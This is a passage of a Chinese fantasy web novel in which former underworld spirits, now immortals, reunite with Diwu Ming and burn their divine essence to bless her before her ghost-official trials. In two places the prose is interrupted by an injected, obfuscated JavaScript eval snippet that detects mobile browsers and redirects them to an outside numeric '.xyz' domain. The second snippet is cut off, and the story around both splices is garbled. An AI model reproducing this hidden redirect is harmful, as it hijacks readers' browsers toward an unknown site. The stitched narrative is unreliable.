天帝震怒,天界与泰山仙府视若水火,九人差了时机,终是再也没和隗晎联系上。 时至今日,隗晎执掌的冥界地府几乎要与天界平起平坐,而天帝却开始慢慢曲线挽救,与泰山仙府不再执着硬对,开始缓和关系。 隗晎执掌的冥界地府,当即顺天帝给的台阶而下,两方的关系日益渐好。 天界的氛围跟着也稍稍松了不少… 每隔数月,天界就会开一场品茗盛宴,美酒佳肴无数,尤其当属酒仙们酿造的美酒,最是诱人,没有仙君不爱。 溪亖音一边饮酒,一边朝身旁侍酒的仙君,道:“世九天君,今日这壶美酒都是出自你手吗?真好喝…嗝~” 世九又给溪亖音倒满一杯后,才眼神闪躲道:“小音天君是忘了,还是又醉了,我记得我说过,我不会酿酒。” 溪亖音迷迷糊糊,摇头晃脑又喝下一杯,道:“嗝~是…是吗?这酒真醇美。” 她在怀里摸索了一番,掏出一个玉瓶,红脸红眼,双手把瓶子举到了世九面前,嘟囔道:“我姐姐…很…很喜欢喝酒,世九天君…天君可否帮我把今日的美酒也装一瓶?” 世九嗔道:“上次就和你说了下不为例,你怎么又叫我偷酒啊…” 溪亖音眼神空洞,呆愣了片刻,才喃喃道:“有…有吗?可是…姐姐好惨的,她最喜欢喝酒了…她肯定很想尝一尝…我…” 几句话还没说完,溪亖音眼眶先红了一圈。 世九秀眉轻皱,一把拿过溪亖音手中的玉瓶放进袖子中,道:“最后一次了。” 溪亖音眼睛一眨,灿烂笑起,道:“世九天君最好了,最最最好了…等姐姐回来,不不不…等我成真君了,我就去把你要过来,和我一起用蓬莱水酿酒…” 世九转身离去前,无奈道:“我都说了,我不会酿酒…你每次都偷带这么多酒,我看分明是你自己是个酒鬼,在这里喝不够,还想回去继续喝…不顾天规,当心误事啊。” 她刚离开,宴席人群中,甘歌扛着南泥,宋世平扶着杨战息,凉离领着路了绿和珪珖走到了溪亖音的桌旁。 仙君避免当众失态,往往都会提前退场,或者少喝少饮。 只有溪亖音这几人,每每仗着有密友在侧,肆无忌惮,喝醉了便喝醉了,自然会有人来带他们离开,若是没人来架他们离去,就说明时间还没到,他们便可以继续喝,往死里喝,嘴上不顾后果地贪欢,直到昏睡在食案上。 凉离拍了拍趴在桌子上的溪亖音,柔声道:“小音,醒醒,回去了。” 溪亖音醉得不轻,现在她脑袋昏涨,只想好好休息,嘟囔道:“不…不走。” 凉离见怪不怪,自言自语道:“又醉了。” 说完,两指点在溪亖音额间为其解酒,溪亖音微微睁开眼后,凉离俯身问道:“斗部离得近,去乐正那儿休息一会儿?” 溪亖音点点头,囫囵道:“好…” 凉离扶起溪亖音,对身旁几人吩咐道:“先把小音送去乐正那里,我们再回去。” 这八人因为都饮了酒,不能捏诀御风瞬息,只能一步一步地走去斗部寻乐正词媿。 刚到斗部正门,几人便瞧见数名天兵正押解南海司仓太子。 众人离去,门口漏出了一人身影,刚好是他们此行所寻的乐正词媿。 乐正词媿一头黑脸,神情愤怒,气势汹汹,一副生人勿近的样子。 几人走近,凉离蹙眉道:“乐正,发生什么事了?” 天兵散去后,乐正词媿咬牙道:“没什么,小事。” 半醒半醉的南泥,在甘歌肩膀上嘻嘻笑道:“哈哈哈,乐正不说,可本君知道啊,你们该问本君的…那司仓啊,是出了名的花花心肠,定是见乐正模样丽质难寻,在她这幅男装下,生了…惜才之心,想要加倍爱慕…啊!乐正词媿!!你怎么又对本君使术…疼死了。” 正如南泥所言,乐正词媿抬手用了道法术,把他从甘歌肩上重重摔在了地上。 南泥呼疼,半躺在地上,也不生气,一副笑容,依旧挂在脸上,就着倒下的姿势,腾出一只手揉捏差点摔断的腰身。 与此同时,未沾多少酒水的路了绿和珪珖,发现了乐正词媿身上与往日的那一点不同。 路了绿惊呼道:“乐正,你的七星双玲怎么只有一只了?” 珪珖小心翼翼问道:“天权星君收回去了吗?” 宋世平沉声问道:“斗部还是不容女仙君?” 乐正摇头道:“不用猜测,星君领我入府门后,从未生过撵我走的想法,不然他也不会赠我七星双铃。方才回来后,被那司仓太子撞了一下,耳挂才少了一只。” 当年十人飞升,九天采访使因突遇事情,不得不把乐正词媿临时托付给了好友天权。 天界斗部,又是一个只招收男仙君的地方。 乐正词媿自从随文曲星君天权入了斗部,便从未着过女装。 黑金软皮男子服,高高束起的马尾,她还戴了一个金玉男冠。为遮掩秀气饱满的额头,头上箍了一根谨言慎行的抹额,一双紧致黑靴,双耳挂一对象征斗部星君身份的墨绿七星双铃,她惯常就是一副这样的装束。 除了斗部星君才能佩戴的七星双铃,一身行装倒是斗部最常见的穿着。 乐正词媿身躯练得还算修长,加之其气质清冷,寻常仙友,擦肩而过,若是晃眼不看她面容,在斗部那群仙君中,也是一眼分辨不出她是男是女。 几人想不明白,那司仓为何要盗走乐正词媿的一只七星双铃耳挂。 凉离道:“司仓抢了你一只七星双铃?他可有欺负你?” 乐正词媿回忆道:“应该是司仓窃走了。刚刚和他打了一架,却没在他身上找到,就是不知道那么短的时间,让他藏在哪片龙鳞下了…” 几人面上一怔,心里发怵。 感情别人没有调戏到乐正词媿,反而是司仓那条龙,险些被乐正词媿掀遍龙鳞,看完身子。 那方才的一群天兵… 莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583216|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是为了保护司仓,才佯装把人带走了吧。 在众人的静默中,宋世平望向方才司仓和天兵消失的方向,回头安慰道:“雷部会审理清楚的,七星双铃只要还在他身上,就不会丢。” 乐正词媿闷闷地道:“但愿吧…若是他不老实归还,我不会客气的。” 南泥从地上站了起来,嘀咕道:“啧啧啧,太凶了…” 乐正词媿瞪了他一眼,南泥闪躲至溪亖音和凉离背后,道:“你别拿那种眼神看本君啊,本君说的是司仓太子,他太凶了,居然敢偷盗你的东西…乐正你怎么能又拿眼白看人啊,还有没有女仙君的样子了啊。” 在南泥的拖动下,凉离往二人中间挪了挪,溪亖音在凉离怀中不舒服地动了动,结果不小心扭进了南泥怀里,杨战息此刻酒也醒了一半,在宋世平参扶下左歪右倒… 几人站位,正好交叉,昏沉的人歪倒,清醒的人心思没在身边人身上,而隔得远的,大跨一步,想要来帮忙… 于是,斗部正门前,便出现了醉酒仙君手忙脚乱的一幕。 众人好不容易,在相互扶持下,站稳了脚。清醒的几人,也如释重负,刚松了一口气,珪珖却突然大叫了一声,惊得几人险些又乱了起来。 原来,珪光在方才那阵混乱中,竟胡乱抓住了一封飞信。 他手中金光闪烁,气息阵阵流出… 莫名地令在场之人感到熟悉。 凉离怀中,溪亖音迷迷糊糊中,伸手探寻那股气息,呓语道:“小晎哥哥…” 这一语,让那封飞信猛然发光发热,似要炸开,珪光难以忍受,只得松了手。 金色烟花并未如期而至,那飞信之上居然附了一道法咒。 法咒因方才溪亖音的呢喃破解而启。 飞信展开,众人周围景色巨变,竟是还有一道阵法,须臾,一个法力强大的虚境,蓦地建成。 在场九人,一起被拉进了境内。 凉离惊呼道:“虚境!结界?” 乐正词媿蹙眉道:“耗费这么多法力,他是要做什么?” 南泥笑道:“自然是不会害我们,毕竟在天上杀九仙,他会不会太大胆了一些。” 杨战息清醒过来,听了南泥一半的话,乱吼道:“谁?谁要杀仙?” 宋世平扶额,解释道:“你听错了。好好醒酒吧,那人不会害我们的,休要听南泥胡言乱语。” 甘歌感叹道:“他修为这么高了吗?” 虚境之内,只有一封简简单单的飞信。 金色烟花终于炸开,十分亮眼,异常盛大,充斥了整个虚境,宛如一场演出。 那封信诀,一如泰山脚下那一封一样,言语简练,深意十足: 上君第五茗欲入冥界地府,过鬼门关,渡十殿试,成鬼差,渡天道劫难。 如今鬼身孱弱,需几人相助一程。 来日有遣令,可入冥界,若还顾念当日恩情,望接来令,于鬼门关前,以神格之福,护上君一劫。 安好,勿念。 隗晎寄言。 溪亖音刚从凉离怀里醒来,就看见了这封信。 和那熟悉的两个名字… 第五茗…隗晎。 两个让她朝思暮念的名字… 竟同时出现了在她酒醒之后。 她有些不敢相信,环顾四周,确认道:“这是真的吗?这是他送来的信诀,对吗?” 南泥正经道:“你看到的,都是真的。” 唏嘘一声,他苦笑道:“他终于想起我们了。” 溪亖音喜极而泣道:“你们会去的,对吗?” 凉离递来一方白巾,溪亖音接过,却没有了动作,紧张地将视线在其他人身上流转。 一阵沉默,溪亖音自言自语道:“我上天就是为这事,我会去…你们若是不…” 甘歌打断她的话,道:“大家没说不去,小音你不要多想,这事还不知道是不是真的。” 乐正词媿思索道:“先等着吧,若是遣令能来,再说。如今单凭这一封信诀,我们几人不是也是去不了冥界地府吗?” 凉离点头附和道:“乐正说的对,先等调派的令函。今日之事,他耗费这么多法力建虚境,拉结界,想来不打算让其他人知晓,从虚境出去后,都守住口,不要声张。” 众人齐齐点头,脸上半分醉意都没有,神色十分严肃。 虚境和那封信诀,在九人出来后,慢慢地在空中燃烧消散。 溪亖音看向面前没有一丝变化的斗部正门,以及未多一人身影的空旷之地,呢喃唤道:“我来了…” “姐姐…” 51. 仙君祝福保小鬼1 “姐…姐。” 来人声音有一些紧张,她又颤抖地,再一次唤道:“姐…姐姐。” 气喘吁吁,连音调都变得有些奇怪。 堂中,坐了人的一桌,空了。 两男一女,一前两后,紧走了几步,来到第五茗他们桌旁。 第五茗无奈看向来人,视线微微一移便与靠近桌子最近的溪亖音四目相对,暗道:小音啊,为何不听姐姐的话呢? 手指下意识蜷缩,佩印还握在她的手中,那佩印质量极好,硌得她指间生疼。 第五茗思绪回转,语气陌生道:“仙君,且请留步…” 闻言,溪亖音三人,生生停在了离第五茗最远的那一条桌边。 两厢沉默许久,第五茗才编纂出一套话,道:“我与仙君初识,身无旁物,唯手中佩印还算是一件宝贝,仙君要是看得上,愿意奉给仙君,我吃完东西还要赶着去鬼门关,就不在这里妨碍仙君们了,若是仙君们和我有什么恩,什么怨的,就当看在我奉上好东西的份上,放过我吧。” 慌张、局促,在她一边说话,一边挪动那些吃食盘子时,展露无遗。 嘴上虽这样说,但因答应了酆小洪‘不会逃’,第五茗还真只是手上动动,脚下并没有半分离去的姿势。 没一会儿,她把桌子中间收拾出了一条‘康庄大道’,双手将佩印放在了桌子中间。 见对面三人不动,她又把佩印往前推了两分,做了一个‘恭请’的手势。 在第五茗一阵忙活中,对面三人看傻眼了。 酆小洪叹气道:“上君…” 第五茗身子松懈,眼神微敛,回头凝视酆小洪,目光如一把刀子,像是要将对方拨开到一层不剩。 她话到嘴边,语气却忍住了,含含糊糊道:“大方点嘛,你先前赠与我时,不是说不贵重吗?我们献与仙君也无妨吧,就当交一个朋友了。” 酆小洪默不作语,径直盯向第五茗,瞧她‘唱戏’。 想了想,第五茗又一副惹了麻烦,要做和事佬的模样,瞟了两眼桌前三人,又挑眉逗弄酆小洪道:“破财消灾,破财消灾…仙君,你大方些,别那么小气。” 在场三人愣愣的,目光有些呆滞地看着她,既不接茬,也不搭话… 独让她一人前言不搭后语,自顾自地说些看似‘恶心人’的话,倒是有些尴尬。 真是有些难办! 他们不再是当年三言两语,就会无地自容的小鬼了。 这揶揄人心肠的话,根本起不来任何作用。 第五茗暗自长叹一阵后,毫无征兆地,她故意提高音量,提醒所有人,道:“我还在历劫,多一事不如少一事,少一事不如没有事,大家相安无事,不就是最好的事了。我说得对吗?仙君?” 今日小五特意给她在眼上洒了些亮闪闪的东西,说是能够震慑人心。 第五茗意味深长地冲着酆小洪使劲儿眨了眨,她也不知道能不能把人给吓回去,让这件事就这么了了。 想都不用想,很明显第五茗用错法子了。 她这副模样,落在酆小洪眼里,就像一只怕事的小猫,一直在眨眼求饶,还不停‘喵喵’地叫。 不管是‘大声暗示’,还是‘眨眼示意’,好像都不管用,第五茗有几分泄气。 酆小洪温和一笑,仍旧没有接下第五茗的话,倒是伸出手,替第五茗抹掉了眼皮上的‘亮灰’。 第五茗一愣:怎么还有是这一出? 酆小洪自顾自地解释道:“有东西快落进眼睛里了…是不是唐突上君了?” 第五茗尴尬后仰身子,道:“哦…没…没事,是有东西啊,多…多谢仙君。” 酆小洪含笑低头,手指捏抿擦下来的亮灰,顺手掸了掸,道:“上君客气了。” 其他人对于二人突然亲昵的动作,一副见怪不怪的表情,倒是先前第五茗惯常拿来驱逐人的话,他们其实是上了心的。 堂内众人,均是由心感叹:上万年不见,我们变了,上君竟是还和当初一样。 众人眼睛里的神色更加坚定了,没有要就此作罢的意思,直愣愣打量第五茗。 众人不退,第五茗就更想跑。 她躲避那几道目光,把佩印再往前推了推,道:“仙君们收下吧,寻我讨不着好,我现下只有这一枚佩印可以奉给诸位。诸位收下后,放过我吧。” 对面三人,凉离和南泥浑身一怔,视线落在佩印的主人身上。 溪亖音声音委屈,哭腔浓厚,道:“姐…” 许是溪亖音的嗓子噎住了,那“姐”字发音格外像是“借”。 第五茗作势,疑问出口道:“借?” 机会不是来了吗? 她把佩印在桌子上一滑,直接推送到了溪亖音撑在桌沿的手指边,道:“仙君是要借这个?不用借,得花献佛,送给仙君了。” 溪亖音手一缩,嘴巴一瘪,泪水簌簌地从眼中掉了下来,她另一手拿起佩印扔进了酆小洪怀里,余光瞪向酆小洪,可怜巴巴道:“哼!这东西…所有人都稀罕,我也不会稀罕的。他连我都不要了,那我也不会要他的…不要他了,我也不会要他的东西…我不要!” 酆小洪并没有发怒,而是把怀里的佩印重新放回第五茗面前,收了笑容,愁绪万分,默默承受溪亖音的指控。 溪亖音眼泪一掉,第五茗肉眼可见地柔软了下来。 刚才溪亖音的那番话只顾发泄情绪,个中原委,有一头没一头的,第五茗听不明白,只能先安抚道:“仙君别哭,别哭啊…有事我们可以好好讲…不要哭啊。” 溪亖音的眼泪收不住,第五茗转头向酆小洪求助道:“仙君,这…” 酆小洪淡淡地道:“上君不必理会。” 见状,南泥悄悄拉扯溪亖音的袖襟,小声道:“胆子太大了,别忘了他身份,收敛点。” 凉离掏出方巾,塞入溪亖音手里,沉声制止道:“小音,别哭了,还有正事。” 第五茗哪能真如酆小洪所言不去理会,她眉心微皱,给溪亖音倒了一杯雪水,道:“坐下喝水缓一缓,哭得猛了,也是会自己把自己急死的,到时候就没有这么…” 就没有这么可爱的小音了。 以前,溪亖音就喜欢掉眼泪,第五茗习惯性地打趣她,逗她,让她破涕大笑,从而忘了哭泣。 方才一时顺嘴,第五茗又讲了半截,生生在最后一句,刹住了脚。 可对面三人却不这样认为,第五茗那句话,和她对溪亖音的偏袒,早让他们脑补完了刚刚第五茗没讲完的半句。 第五茗递水的手一抖,在三人灼热的目光中洒了些出来,还是酆小洪接了过去,把杯子放到了溪亖音面前,命令道:“先把水喝了。” 溪亖音“哦”了一声,坐了下来,一边用凉离给的方巾擦眼泪,一边小口小口喝水解渴。 周围人都默不作言,静静地等着溪亖音缓和情绪,像是刚“大战”了一场,眼中情绪各不相同,有心疼的,有自责的,有担忧的,有嫉妒的… 在六天宫做鬼时才能有的画面,今日当年那群人,又再现了一次。 这一幕,太久未有了。 其他桌上,路了绿感叹道:“好羡慕啊,他们都最疼小音。” 珪光玩笑道:“若你也是一个圆圆润润的小姑娘,我也可以很疼你的。” 路了绿道:“可我年龄最小啊…” 乐正词媿补刀道:“年龄小?活了几万岁了,你好意思吗?” 路了绿脸色羞红,望向同桌两人,倔强道:“我…好意思,那你…你们会疼我吗?” 乐正词媿目光一凝,撇头冷冷道:“结巴了吗?没出息…先把这句话说好了再议。” 路了绿眸子一暗,有些失落。珪光安慰道:“好了好了,路了绿,我会疼你的,你别去和小音争了。” 顿时,路了绿喜笑颜开,有一丝丝不好意思道:“好。” 而坐了三人的另一桌,杨战息明显坐不住了,宋世平把他按回凳上,道:“风真君和五斗星君刚上楼,再等等,别惊扰到他们了。” 甘歌却不受二人约束,起身去了凉离身旁。 可怜的第五茗,面前三个人还没解决掉,又来一个。 幸好,那人来了也不说话… 但好像情势并不太乐观,因他们修了新的体魄,又都是仙君之体,她一个小鬼身,眼睛不太好,今时倒是不太能分辨出这来人是谁。 第五茗默默吐槽道:若是都像小音这么容易辨认就好了…还可以逐个击破。 雨无伤也走了,有她在的话,还能帮忙望魂… 要是能放点血出来烧,应该也很好从这群人当中全身而退… 酆小洪还在这里坐着… 唉… 难办… 算了算了… 走一步看一步吧。 摇了摇头,她心中苦闷,只能继续从溪亖音这里找这一劫的突破口。 想了许久,她不知不觉中又握上了木筷,在桌面上一点一击,分析着:把人气走应该是可以的吧…小音最是脆弱,稍稍挑衅两句,她应该会大哭跑开,到时候… 都去追小音了,不就解脱了吗! 真是笨啊!!!刚才怎么会让小音坐下来!! 还倒了一杯水… 打定主意,第五茗有些为难地往向酆小洪,指了指溪亖音,话题另起,问道:“你和她有仇?” 酆小洪自然知道第五茗此刻闹的是哪一出,答道:“没有。” 溪亖音并没有反应,旁边站的三人也只是默默地等着。 这回答,情理之中,也是意料之中。 第五茗思忖道:果然力度不够…得下点猛料。 偷偷瞅了一眼溪亖音,她把牙一咬,对酆小洪睁眼说瞎话道:“难道和风有情一样,有感情纠葛?” 酆小洪没想到第五茗为了赶人走,不仅话里带上了溪亖音,还对他说出这种话,面容冷沉,低吼道:“我有没有,上君难道不知道吗?” 风有情受罚渡情劫一事,即便是后续飞升上来的他们,也大概听说了一二。 另一边,溪亖音紧接酆小洪话,震声道:“怎么会!姐姐…你在说什么。” 话落,溪亖音眼泪又开始大滴大滴地往下掉。 好难办啊! 第五茗有些后悔当年纵容溪亖音的性格了,不然事到如今,怎么心性还和小孩一样。 遇事只知道哭!不知道负气出走!!!这种程度,根本太弱了,放在常见的命格簿子中,连拿来充配都不够格。 可这眼泪又落得恰到好处,对她来说太受用了… 第五茗心中连叹数声,先心疼上了溪亖音,面上嘻嘻地认错道:“哈哈哈…口误口误,仙君快用方巾擦擦,泪水不禁掉的,当心把眼睛哭坏了。” 溪亖音听话地拿起方巾擦了擦眼泪。 把人抚定下来了,这对第五茗来说可不是件好事。 等了片刻,她换了一个方向,继续道:“方才是我说错话了,细看之下,二位也着实不像那种关系,但仙君哭得这般伤心,必定是相互间生出了很大的事…” 她一手指一人,惊讶道:“不会你是债主,他是欠债的…呀!银钱关系啊!这可怎么好,这种事最麻烦了,我今日还要入鬼门关,要不仙君们去外面找找其他人来评理?” 溪亖音有些云里雾里了,不明白第五茗东一句西一句的这些话,是在说些什么?她连问题都没听懂…只能针对‘银钱’一事,做出回应,道:“没有,我们不是这样的。” 酆小洪见梯道口有小一等人的衣袂飘动,盘算到风有情等人估计全部进入了房间内,便不再和第五茗拉扯,严肃道:“上君,你不要再猜了。” 他向溪亖音身后的凉离扫去一眼,对方会意。 凉离立即对溪亖音小声道:“小音,可以给上君见礼了。” 什么意思? 几人的小动作,第五茗可是看了个一干二净,凉离的那句话,音量不小,她也听进了耳朵里。 欸? 第五茗左右转头,疑惑地向几人投去目光,希望得到答案。 他们却出奇一致地不搭理第五茗。 溪亖音从凳子上站了起来,整理好玉袍后,隔着桌子,端正地行了一个拜仙礼,脸色阴转晴,糯糯笑道:“来了这么久,还没正式和姐姐见礼。蓬莱都水司,六波天主帝君座下,天君溪亖音,见过上君。” 蓬莱都水司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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突然,溪亖音瞪向酆小洪,噘嘴吃醋道:“可是你都拿了他的通印,还和他在一张桌子上吃饭,同他有说有笑的…难道就因为他守在地下,守着姐姐,所以姐姐现在就只喜欢他了吗?” 垂头看了眼身上的衣服,第五茗反复确认不是前几日那套吉利喜服,才指了指酆小洪,讪笑道:“喜欢他,天君误会了…” 猛然怔住,像是想到什么,她收回手,拿起桌上的佩印,向溪亖音询问道:“你说这是通印?你看到它是什么模样?可瞧出是哪方的通印?” 溪亖音不做答, 第五茗转头看向酆小洪道:“你一直守着我?你送的这东西是通印?为什么送我这么贵重的东西?” 一连三问,酆小洪现下还不能答,若是答了,溪亖音等人的事就办不成了。 他蹙眉,卯不对榫道:“小音,鬼才说鬼话。” 堂内一片寂静,所有人都不敢大喘气。 溪亖音眼神闪躲,低声呢喃道:“我…” 甘歌走上前来,冷冷喝道:“小音!” 凉离一直观察着酆小洪的神情,眼见情况不对,拍了拍溪亖音的肩膀,把人拉倒了身侧,小声吩咐道:“小音,别闹事。” 溪亖音很委屈,回眸分别望了第五茗和酆小洪一眼,不舍地按照凉离的指示,缩到了角落边。 南泥则一脸戏谑地紧锁酆小洪的一举一动,手指不由自主攀上了腰间的善恶尺。 桌前空了出来,后来的甘歌,上前半步,行了一个拜仙礼,转移话题道:“雷霆都司,九天雷祖大帝座下,星君甘歌,见过上君。” 长久不见,这天界为官那一套,几人倒是使得十分默契。 第五茗眉心动了动,拧成一个“川”字,不敢置信刚才眼前三人竟因为“怕”,而虚与委蛇,且他们‘怕’的人,还是他们的亲近之人。 她瞟了眼那通印,又看了一眼酆小洪,似笑非笑道:“弄这么紧张干什么,这些问题,于我而言也不是很重要,不想答便不用答。” 酆小洪迟疑道:“上君发问,我自然都会答复。只是此刻上君与他们还有事情未了,我不想扰上君心忧。” 第五茗挑起一眉,笑道:“是吗?还是仙君思虑周全,为我考虑良多。” 她心中想的却是:看来与小鬼们此次相遇,并非偶然。 侧身面向甘歌,她点头回礼道:“见过星君。” 甘歌看了酆小洪一眼,回头正视第五茗,一字一顿,对两人道:“小音飞升前被宠坏了,所以说话没了遮拦,还请上君见谅。” 酆小洪抿了一口水。 第五名听见“飞升前”“宠坏了”两词,以为甘歌是在说她,尴尬地也端起水杯抿了一口,放下后,笑道:“无妨无妨…是我下天界太久,很多天界的事…和人都不太记得了,和小…小天君没有关系。” 充耳不闻第五茗的推据,甘歌又拜下一礼,直白道:“上君不记得也没关系,我们都是万年前从三宫九府飞升的小仙,这些年因为事物缠身,才没有早一些来拜见上君,还望上君见谅。” “咳咳咳”… 第五茗咳嗽两声,拿起杯子掩嘴,谁知道里面早已被饮空了。她干抿嘴唇,把杯子重重放回了桌子上。 她举动怪异,引来堂中人频频望向她。 第五茗眼神回避,把手缩回桌下,藏进大袖中抠了抠,悻悻道:“见谅见谅…星君其实也不必如此多礼,我万年前就下来渡劫,到现在还没成功,不管各位仙友在何处任职,真的都不必如此待我…” 更不用特意来寻我相认。 话还没说完,又有两人走到桌子另一侧,朝第五茗躬身行了拜仙礼。 杨战息道:“雷部三十六神将,星君杨战息,见过上君。” 宋世平道:“雷部三十六神将,星君宋世平,见过上君。” “噌”地一下,第五茗后退了两步,小腿逼得凳子腿在地上发出“呜呜呜”的摩擦,酆小洪伸手半揽后方,她未察觉,在这杂声中有些没忍住,震喊道:“你们…” 你们究竟要干嘛! 逼我呢? 忘了我说的话了吗? 怎么!还真是商量好的吗?!!! 这么不懂事… 忘了我们之间还有一劫啊… 52. 仙君祝福保小鬼2 第五茗心中苦闷,撞上酆小洪的眼睛时,回了理智,转身面对雷部来的两位仙君,抬手回礼,无可奈何道:“见过两位星君。” 然而,第五茗好似想多了,两方刚见礼完成,杨战息便对桌边其他人,道:“雷帅刚刚飞了口信与我,叫我们入客房休息待命。” 其他几人点头道:“知道了。” 杨战息音量不小,乐正词媿那桌也听见了,桌上三人整理东西站了起来。 溪亖音望向二楼,有些留恋不舍,垂下头,小声地又唤了一句,道:“姐姐…” 宋世平紧接杨战息的话,补充道:“大家都长话短说,尽快完事,来日方长。” 甘歌率先道:“通印既然上君收下了,那我们几人额外备下的一点点小心意,想来也可以在此处一并交给上君。” 第五茗再后退半步,面露难色道:“非亲非故,不用了吧…” 乐正词媿等三人也到了桌旁。 她错身站进了宋世平旁剩下的唯一一个桌边缺口,打断第五茗的推辞之言,行拜仙礼,清冷道:“九天采访司,九天采访使座下,星君乐正词媿,见过上君。” 第五茗叹气回礼道:“见过星君。” 乐正词媿正回身体,耳朵上独留一边的七星双铃穗子搭在胸前,长发马尾,向后扬起,动作犀利,嘴上也快速张合,未给第五茗继续说话的机会。 乐正词媿轻描淡写道:“上君记不记得都无所谓。若是记得,倒是有些不像上君了。” 说着,她目光紧盯第五茗,勾唇一笑,像是在说“你这样做是妨碍不到任何事”。 坐在凳上的酆小洪,舒了一口气。 第五茗却是又退了一小步,这次,身后凳子没动,她险些绊倒,好在酆小洪那手臂还半揽着,她才不至于跌了下去。 乐正词媿在第五茗的错愕中,不紧不慢,继续道:“上君有所不知,堂中所有人皆是您下界那日,在三宫九府飞升上天的…小鬼。” 第五茗迟钝了一会儿,见躲避不了了,做出大惊模样,呢喃道:“三宫九府…小鬼,我认识的小鬼吗?” 乐正词媿立即修正道:“哦…不对,是三宫九府的修炼之士,我们彼时是人了。因为上君,我们又重新做人了…还得了一个可以修炼的好命数。” 第五茗明显一愣。她此时的震惊,是由于太久没见,以为大家都变了样,品行也像方才有了天界官味,谁知,说得多了,这几人的神态气度竟还是原先那般模样。 她心中畅然:乐正词媿直肠直心,从不拐弯抹角。 这番话,她说得像寻常话一样麻利爽快。 可爽是爽了,就是不小心把重逢劫数也一块‘敲定了’。 她不需要再烦恼相认后的麻烦了,该是又需要考虑怎样帮他们化劫了。 第五茗哭笑不得道:“乐正…何必呢。” 乐正词媿似在回忆,无意地,余光扫了一眼仍旧还坐在凳上喝水的酆小洪,收回目光,抱手唏嘘道:“之前有人说过,上君其实是个特别胆小的仙君,因为害了一个送酒小鬼,就从此未解开过心结,生怕再沾染上…小鬼的命。所以三宫九府上那最后一别,的确是上君与我们的最后一别,因为上君可能会死?也可能会躲着我们?更可能是去避开有牵扯的所有人?可惜啊…大家好像有些舍不得,因为舍不得,也就没那么听上君的话。” 大堂内,楼梯口,在此间的仙和鬼,均口中无言。 乐正词媿环顾一圈,朝酆小洪问道:“不落结界,不捏虚境,上面几位可会察觉我们的事?” 酆小洪在第五茗的注视中,淡淡地道:“不会,所有房门,昨日已下了符咒,尽管做你们该做的。” 闻言,第五茗神情难得紧张:该做的?什么事? 她心中疑惑,试图想在酆小洪脸上找到答案。 她暗道:这人昨日什么时候去各个房间下符咒的? 雨无伤没看见吗? 门上有符咒,难道风有情他们也看不见吗? 太大胆了! 乐正词媿点头道:“好。” 回头看向第五茗,她悠悠地道:“乐正的东西待会儿给上君放您房间,我就不在这里交予上君了。” 闻言,第五茗眉头深皱。 乐正词媿朝楼梯口的迷魂店小厮身影睨了一眼,难得语气柔和道:“我方才问过小一,那是上君独住的,就算鬼满为患也是空着。东西放在房间里,上君想带着便带着,不想带在身上就放这里,估计也没有小鬼敢来偷盗…若是遗失,那算是乐正自己倒霉,被利用闯下的福祸,乐正也会担责。风真君在楼上,不是我不信任那符咒拉出的结界,小心为上,还是好一些的,更多言语,此时就无法和上君细细道来了。” 乐正词媿双手捧出一只玉笔,明眼人一看,便知是正主割出的法器分身。 威力可能不是顶满的足,但因有法器所认之主的气息,若是得到这东西的人拿来和别人打架,还能把正主给摇来帮忙。 所以,珍贵之处不是在于这只笔,而是乐正词媿如今贵为天界仙君,却愿意听第五茗这只初做人魂的小鬼差使。 第五茗双手未动,正要开口拒绝,她身上蓦地炸出一道金光。 脑子都抽了吗? 你们怎么会预谋这种事!! 还是说当年烧神格给你们留下的印象太过深刻,所以才要在我做鬼的时候,把辛辛苦苦修炼出来的神格烧回来! 第五茗厉声喝道:“乐正词媿!你做什么!!停下来!!!” 乐正词媿做事最是麻利,手中聚合神格,口中念道:“听闻上君要去考鬼差,九天采访使乐正词媿,有一道祝语,要送与上君。愿上君得三元拥护,万圣同明…赐福降吉祥。” 乐正词媿身体微微颤动,冷眼看向有一丝震惊的酆小洪,心傲道:你隗晎能捏碎一副神格,我乐正词媿也不会比你差! 只让我们烧法力… 谁要听你的了!!! 金光散去,第五茗身体舒畅,乐正词媿解释道:“上君勿怒,我不是冲动之人,只想送一道祝福,保上君过一殿测试。” 第五茗愠怒道:“那犯不着聚神格来烧!身体可有碍?” 乐正词媿道:“无碍,就当受了一道雷击,上君以前不是经常干这种事吗?应当清楚,休息一会儿就没事了。” 那道福语的确不算重,可烧神格却不是一件轻松事。 第五茗面色忧愁,目光在乐正词媿身上打量,似要通过「看」来替乐正词媿问诊一番。 可惜… 她未修过医术。 看了半天也没看出个好歹,倒有一人挤上前来。 此人正是珪光,他默默从腰间掏出一颗药丸递给了乐正词媿。 乐正词媿没多问,直接喂进了嘴里。不消一会儿,她还有些难看的脸色,慢慢地回了血色。 第五茗松了一口气,唤道:“小三,带仙君上去休息。” 楼梯口处,小三慢慢挪出,她躬身朝乐正词媿邀约道:“大人,楼上请。” 乐正词媿向其他人点头示意后,便在第五茗的安排下,跟着小三上了楼。 刚走一人,桌边漏出一个位子,甘歌把溪亖音招了过来。他和宋世平换了一个位置,同溪亖音并肩站到了第五茗面前。 任傻子来瞧,也能看出来,这两人接下来要做的事,应该和乐正词媿别无二致。 第五茗一手拉住一人,制止道:“你们还真是约好了吗?” 环视了一圈在场之人,最后恶狠狠瞪了酆小洪一眼,第五茗回头郑重道:“都休要再做这种事了。” 甘歌未理会第五茗的话,抽回手,退后一步,自顾自道:“上君,我和小音的东西待会儿也放上君房间,至于十阎罗十殿试,我们不是不相信上君,只是希望上君能轻松一点。” 第五茗怒目道:“甘歌,你敢动试试!” 